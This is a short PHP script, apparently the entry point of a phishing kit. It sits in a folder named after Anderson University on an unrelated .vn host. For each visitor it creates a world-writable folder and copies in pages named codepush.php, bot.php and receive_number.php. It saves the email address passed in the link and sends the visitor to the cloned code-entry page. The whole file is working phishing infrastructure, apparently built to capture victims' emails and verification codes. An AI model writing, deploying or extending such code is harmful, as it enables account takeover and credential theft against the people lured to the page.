File: /home/bluecool/domains/bluecool.vn/public_html/andersonuniversity.edu/season.php
<?php
session_start();
// Generate a unique season ID
$seasonId = uniqid('season_'); // Create a unique ID for the season
// Create a directory for the season
$seasonFolder = "season_$seasonId";
if (!mkdir($seasonFolder, 0777, true)) {
die('Failed to create folders...');
}
// Store the season ID in the session
$_SESSION['season_id'] = $seasonId;
// Define the files to clone
$filesToClone = [
'codepush.php',
'bot.php',
'receive_number.php',
'clear_number.php'
];
// Clone the necessary scripts into the new folder
foreach ($filesToClone as $file) {
$sourceFile = __DIR__ . '/' . $file; // Get the full path of the source file
$destFile = $seasonFolder . '/' . $file; // Destination path in the new folder
if (!copy($sourceFile, $destFile)) {
die("Failed to copy $file...\n");
}
}
// Get the email from the query parameter and store it in the session
if (isset($_GET['email'])) {
$_SESSION['email'] = $_GET['email'];
}
// Redirect to codepush.php in the new folder with season ID
header("Location: $seasonFolder/codepush.php?season_id=$seasonId");
exit;
?>